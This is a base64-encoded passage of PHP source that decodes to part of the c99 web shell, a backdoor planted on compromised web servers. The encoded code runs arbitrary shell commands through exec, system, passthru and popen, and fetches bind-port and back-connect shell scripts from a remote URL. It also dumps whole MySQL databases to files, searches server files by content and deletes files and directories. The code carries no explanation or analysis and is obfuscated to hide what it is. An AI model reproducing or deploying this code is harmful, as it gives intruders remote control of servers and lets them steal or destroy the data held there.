1I7fQogIHJldHVybiBmc19ybWRpcigkbyk7CiB9CiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKQp7CmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpCnsKIGdsb2JhbCAkZGlzYWJsZWZ1bmM7CiAkcmVzdWx0ID0gIiI7CiBpZiAoIWVtcHR5KCRjbWQpKQogewogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBGQUxTRSkge30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9CiAgZWxzZWlmIChpc19yZXNvdXJjZSgkZnAgPSBwb3BlbigkY21kLCJyIikpKQogIHsKICAgJHJlc3VsdCA9ICIiOwogICB3aGlsZSghZmVvZigkZnApKSB7JHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7fQogICBwY2xvc2UoJGZwKTsKICB9CiB9CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpCnsKIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICJzIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICItIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9CiBlbHNlIHskdHlwZSA9ICI/Ijt9CiAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOwogJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7CiAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOwogJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsKICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOwogJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCk/IngiOiItIjsKICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7CiAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7CiAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOwogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQogcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkdWlkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2tpbGwiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9raWxsKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpCnsKZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpCnsKIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9CiBlbHNlIHskdCA9ICI/Ijt9CiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOwogJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsKICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7CiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpCnsKZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KQp7CiAkb25lID0gaW50dmFsKCRzb3J0KTsKICRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOwogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9CiByZXR1cm4gYXJyYXkoJG9uZSwkc2Vjb25kKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpCnsKZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykKewogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlIHtyZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWdldHNvdXJjZSIpKQp7CmZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pCnsKIGdsb2JhbCAkYzk5c2hfc291cmNlc3VybDsKICRhcnJheSA9IGFycmF5KAogICJjOTlzaF9iaW5kcG9ydC5wbCIgPT4gImM5OXNoX2JpbmRwb3J0X3BsLnR4dCIsCiAgImM5OXNoX2JpbmRwb3J0LmMiID0+ICJjOTlzaF9iaW5kcG9ydF9jLnR4dCIsCiAgImM5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5c2hfYmFja2Nvbm5fcGwudHh0IiwKICAiYzk5c2hfYmFja2Nvbm4uYyIgPT4gImM5OXNoX2JhY2tjb25uX2MudHh0IiwKICAiYzk5c2hfZGF0YXBpcGUucGwiID0+ICJjOTlzaF9kYXRhcGlwZV9wbC50eHQiLAogICJjOTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5c2hfZGF0YXBpcGVfYy50eHQiLAogKTsKICRuYW1lID0gJGFycmF5WyRmbl07CiBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGM5OXNoX3NvdXJjZXN1cmwuJG5hbWUpO30KIGVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZHVtcCIpKXsKZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQp7CiBnbG9iYWwgJHNodmVyOwogJHNvY2sgPSAkc2V0WyJzb2NrIl07CiAkZGIgPSAkc2V0WyJkYiJdOwogJHByaW50ID0gJHNldFsicHJpbnQiXTsKICRubDJiciA9ICRzZXRbIm5sMmJyIl07CiAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07CiAkdGFicyA9ICRzZXRbInRhYnMiXTsKICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAkcmV0ID0gYXJyYXkoKTsKICRyZXRbImVyciJdID0gYXJyYXkoKTsKIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30KIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9CiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChlbXB0eSgkZmlsZSkpCiB7CiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogfQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChzaXplb2YoJHRhYnMpID09IDApCiB7CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7CiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0KIH0KICRvdXQgPSAiIyBEdW1wZWQgYnkgcmVkaGF0LlNRTCB2LiAiLiRzaHZlci4iCiMKIyBIb3N0IHNldHRpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7CiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlICgkZnAsICRvdXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRyZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9CiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJheSgpOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9CiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwogIGlmICgkdGJsX3N0cnVjdCkKICB7CiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOwogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpCnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICR0eXBlcyA9IGFycmF5KAogICJTRUxFQ1QiPT5hcnJheSgzLDEpLAogICJTSE9XIj0+YXJyYXkoMiwxKSwKICAiREVMRVRFIj0+YXJyYXkoMSksCiAgIkRST1AiPT5hcnJheSgxKQogKTsKICRyZXN1bHQgPSBhcnJheSgpOwogJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsKIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpCiB7CiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5OwogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQogIHsKICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikKICAgewogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpCiAgICB7CiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwogICAgfQogICB9CiAgfQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpCnsKZnVuY3Rpb24gYzk5ZnNlYXJjaCgkZCkKewogZ2xvYmFsICRmb3VuZDsKIGdsb2JhbCAkZm91bmRfZDsKIGdsb2JhbCAkZm91bmRfZjsKIGdsb2JhbCAkc2VhcmNoX2lfZjsKIGdsb2JhbCAkc2VhcmNoX2lfZDsKIGdsb2JhbCAkYTsKIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICRoID0gb3BlbmRpcigkZCk7CiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKIHsKICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikKICB7CiAgICRib29sID0gKGVtcHR5KCRhWyJuYW1lX3JlZ2V4cCJdKSBhbmQgc3RycG9zKCRmLCRhWyJuYW1lIl0pICE9PSBGQUxTRSkgfHwgKCRhWyJuYW1lX3JlZ2V4cCJdIGFuZCBlcmVnKCRhWyJuYW1lIl0sJGYpKTsKICAgaWYgKGlzX2RpcigkZC4kZikpCiAgIHsKICAgICRzZWFyY2hfaV9kKys7CiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9CiAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQogICB9CiAgIGVsc2UKICAgewogICAgJHNlYXJjaF9pX2YrKzsKICAgIGlmICgkYm9vbCkKICAgIHsKICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKQogICAgIHsKICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQogICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQogICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9CiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICAgfQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQogICAgfQogICB9CiAgfQogfQogY2xvc2VkaXIoJGgpOwp9Cn0KaWYgKCRhY3QgPT0gImdvZmlsZSIpIHtpZiAoaXNfZGlyKCRmKSkgeyRhY3QgPSAibHMiOyAkZCA9ICRmO30gZWxzZSB7JGFjdCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7fX0KQG9iX3N0YXJ0KCk7CkBvYl9pbXBsaWNpdF9mbHVzaCgwKTsKZnVuY3Rpb24gb25waHBzaHV0ZG93bigpCnsKIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7CiBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRmdCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKQogewogICR2ID0gQG9iX2dldF9jb250ZW50cygpOwogIEBvYl9lbmRfY2xlYW4oKTsKICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOwogIGVjaG8gJHY7CiAgQG9iX2VuZF9mbHVzaCgpOwogfQp9CmZ1bmN0aW9uIGM5OXNoZXhpdCgpCnsKIG9ucGhwc2h1dGRvd24oKTsKIGV4aXQ7Cn0KaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIu